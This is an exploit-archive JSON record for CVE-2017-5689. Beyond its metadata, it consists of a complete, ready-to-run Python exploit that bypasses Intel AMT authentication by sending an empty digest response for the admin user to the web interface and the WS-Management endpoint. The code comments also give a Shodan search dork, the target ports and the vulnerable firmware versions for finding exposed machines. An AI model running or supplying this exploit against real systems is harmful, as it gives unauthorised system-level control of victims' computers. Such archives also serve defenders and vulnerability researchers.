{"exploit":{"id":"EDB-43385","name":"Intel Active Management Technology - System Privileges","description":"Intel Active Management Technology - System Privileges","cves":["CVE-2017-5689"],"author":"nixawk","published":"2017-05-10","platform":"multiple","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/43385","path":"exploits/multiple/remote/43385.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-43385.py","vulnerabilities":[{"id":"CVE-2017-5689","state":"PUBLISHED","title":null,"titleSource":null,"description":"An unprivileged network attacker could gain system privileges to provisioned Intel manageability SKUs: Intel Active Management Technology (AMT) and Intel Standard Manageability (ISM). An unprivileged local attacker could provision manageability features gaining unprivileged network or local system privileges on Intel manageability SKUs: Intel Active Management Technology (AMT), Intel Standard Manageability (ISM), and Intel Small Business Technology (SBT).","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-5689","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2017-5689"},"updatedAt":"2025-10-21T23:55:41.384Z","retrievedAt":"2026-11-26T23:06:38.403Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-43385.png?v=2","url":"https://exploitbin.com/exploits/EDB-43385","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-43385/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-43385/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# Author: Nixawk\n\n#   CVE-2017-5689 = {\n#       dork=\"Server: Intel(R) Active Management Technology\" port:\"16992\",\n#       ports=[\n#           623,\n#           664,\n#           16992,\n#           16993,\n#           16994,\n#           16995\n#       ]\n#       products=[\n#           Active Management Technology (AMT),\n#           Intel Standard Manageability (ISM),\n#           Intel Small Business Technology (SBT)\n#       ]\n#       version=[\n#           6.x,\n#           7.x,\n#           8.x,\n#           9.x,\n#           10.x,\n#           11.0,\n#           11.5,\n#           11.6\n#       ]\n\nimport functools\nimport requests\nimport logging\nimport uuid\n\n\nlogging.basicConfig(level=logging.INFO, format=\"%(message)s\")\nlog = logging.getLogger(__file__)\n\nTIMEOUT = 8\n\n\ndef handle_exception(func):\n    functools.wraps(func)\n    def wrapper(*args, **kwds):\n        try:\n            return func(*args, **kwds)\n        except Exception as err:\n            log.error(err)\n            return False\n    return wrapper\n\n\ndef intel_vulnerable_product(server):\n    status = False\n    products = [\n        'Intel(R) Active Management Technology',\n        'Intel(R) Standard Manageability',\n        'Intel(R) Small Business Technology',\n        'AMT'\n    ]\n\n    results = map(lambda x: x in server, products)\n    status = True if (True in results) else False\n    return status\n\n\n@handle_exception\ndef exploit_web_interface(host, port):\n    status = False\n\n    url = \"http://{host}:{port}/index.htm\".format(host=host, port=port)\n    headers = {\"User-Agent\": \"Mozilla/5.0\"}\n    httprsp = requests.get(url, headers=headers, timeout=TIMEOUT)\n\n    if not intel_vulnerable_product(httprsp.headers['Server']): return status\n\n    \"\"\"\n    GET /index.htm HTTP/1.1\n    Host: 192.168.1.100:16992\n    Connection: keep-alive\n    Accept-Encoding: gzip, deflate\n    Accept: */*\n    User-Agent: Mozilla/5.0\n\n    HTTP/1.1 401 Unauthorized\n    WWW-Authenticate: Digest realm=\"Digest:7BA70000000000000000000000000000\", nonce=\"/tsfAAYGAADdx+TCLSlXsW7FN7GY/hf7\",stale=\"false\",qop=\"auth\"\n    Content-Type: text/html\n    Server: Intel(R) Active Management Technology 8.1.40\n    Content-Length: 689\n    Connection: close\n    \"\"\"\n\n    www_authenticate = httprsp.headers.get('WWW-Authenticate')\n    www_authenticate = www_authenticate.replace(\n        'stale=\"false\"',\n        'username=admin,response=,uri=/index.htm,nc=00000001,cnonce=60513ab58858482c'\n    )\n    headers.update({\"Authorization\": www_authenticate})\n\n    httprsp = requests.get(url, headers=headers, timeout=TIMEOUT)\n\n    if not httprsp: return status\n    if not httprsp.headers: return status\n    if not intel_vulnerable_product(httprsp.headers['Server']): return status\n    if httprsp.status_code == 200: status = True\n\n    \"\"\"\n    GET /index.htm HTTP/1.1\n    Host: 192.168.1.100:16992\n    Connection: keep-alive\n    Accept-Encoding: gzip, deflate\n    Accept: */*\n    User-Agent: python-requests/2.13.0\n    Authorization: Digest realm=\"Digest:7BA70000000000000000000000000000\", nonce=\"/tsfAAYGAADdx+TCLSlXsW7FN7GY/hf7\",username=admin,response=,uri=/index.htm,nc=00000001,cnonce=60513ab58858482c,qop=\"auth\"\n\n    HTTP/1.1 200 OK\n    Date: Sat, 6 May 2017 03:24:33 GMT\n    Server: Intel(R) Active Management Technology 8.1.40\n    Content-Type: text/html\n    Transfer-Encoding: chunked\n    Cache-Control: no cache\n    Expires: Thu, 26 Oct 1995 00:00:00 GMT\n\n    04A9\n    \"\"\"\n    return status\n\n\n@handle_exception\ndef exploit_wsman(host, port):\n    status = False\n\n    url = \"http://{host}:{port}/wsman\".format(host=host, port=port)\n    soap = (\n        '<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:tns=\"http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_SoftwareIdentity\" xmlns:wsdl=\"http://schemas.xmlsoap.org/wsdl/\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:wsman=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\" xmlns:wscat=\"http://schemas.xmlsoap.org/ws/2005/06/wsmancat\" xmlns:wsa=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:wxf=\"http://schemas.xmlsoap.org/ws/2004/09/transfer\" xmlns:wse=\"http://schemas.xmlsoap.org/ws/2004/08/eventing\" xmlns:cim=\"http://schemas.dmtf.org/wbem/wscim/1/common\" xmlns:wsen=\"http://schemas.xmlsoap.org/ws/2004/09/enumeration\">'\n        '  <soap:Header>'\n        '    <wsa:To>{url}</wsa:To>'\n        '    <wsa:ReplyTo>'\n        '      <wsa:Address soap:mustUnderstand=\"true\">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</wsa:Address>'\n        '    </wsa:ReplyTo>'\n        '    <wsa:Action soap:mustUnderstand=\"true\">http://schemas.xmlsoap.org/ws/2004/09/transfer/Get</wsa:Action>'\n        '    <wsman:MaxEnvelopeSize soap:mustUnderstand=\"true\">51200</wsman:MaxEnvelopeSize>'\n        '    <wsa:MessageID>uuid:{uuid}</wsa:MessageID>'\n        '    <wsman:ResourceURI soap:mustUnderstand=\"true\">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_SoftwareIdentity</wsman:ResourceURI>'\n        '    <wsman:SelectorSet>'\n        '      <wsman:Selector Name=\"InstanceID\">AMT FW Core Version</wsman:Selector>'\n        '    </wsman:SelectorSet>'\n        '    <wsman:OperationTimeout>PT60.000S</wsman:OperationTimeout>'\n        '  </soap:Header>'\n        '  <soap:Body />'\n        '</soap:Envelope>'\n    ).format(url=url, uuid=str(uuid.uuid4()))\n\n    headers = {\"User-Agent\": \"Mozilla/5.0\", \"Content-Type\": \"application/soap+xml; charset=UTF-8\"}\n    httprsp = requests.post(url, data=soap, headers=headers, timeout=TIMEOUT)\n\n    if not intel_vulnerable_product(httprsp.headers['Server']): return status\n    www_authenticate = httprsp.headers.get('WWW-Authenticate')\n    www_authenticate = www_authenticate.replace(\n        'stale=\"false\"',\n        'username=admin,response=,uri=/index.htm,nc=00000001,cnonce=60513ab58858482c'\n    )\n    headers.update({\"Authorization\": www_authenticate})\n\n    httprsp = requests.post(url, data=soap, headers=headers, timeout=TIMEOUT)\n\n    if not httprsp: return status\n    if not httprsp.headers: return status\n    if not intel_vulnerable_product(httprsp.headers['Server']): return status\n    if httprsp.status_code == 200: status = True\n    return status\n\n\nif __name__ == \"__main__\":\n    import sys\n    if len(sys.argv) != 3:\n        log.info(\"[+] Usage: python {} <host> <port>\".format(sys.argv[0]))\n        sys.exit(1)\n\n    host, port = sys.argv[1], sys.argv[2]\n    if exploit_web_interface(host, port) or exploit_wsman(host, port):\n        log.info(\"[success] CVE-2017-5689 - {host}:{port}\".format(host=host, port=port))\n    else:\n        log.info(\"[failed]  CVE-2017-5689 - {host}:{port}\".format(host=host, port=port))\n\n## References\n\n# http://thehackernews.com/2017/05/intel-amt-vulnerability.html\n# https://www.ssh.com/vulnerability/intel-amt/\n# https://www.shodan.io/report/mnAozbpC\n# https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf\n# https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability","sha256":"a0ef27bcc263d3080cf6b4f807db662471b3546820b9cdac09382e79006ce956","bytes":6931,"fetchedAt":"2026-11-26T23:06:38.292Z","encoding":"utf-8 (display only; download retains original bytes)"}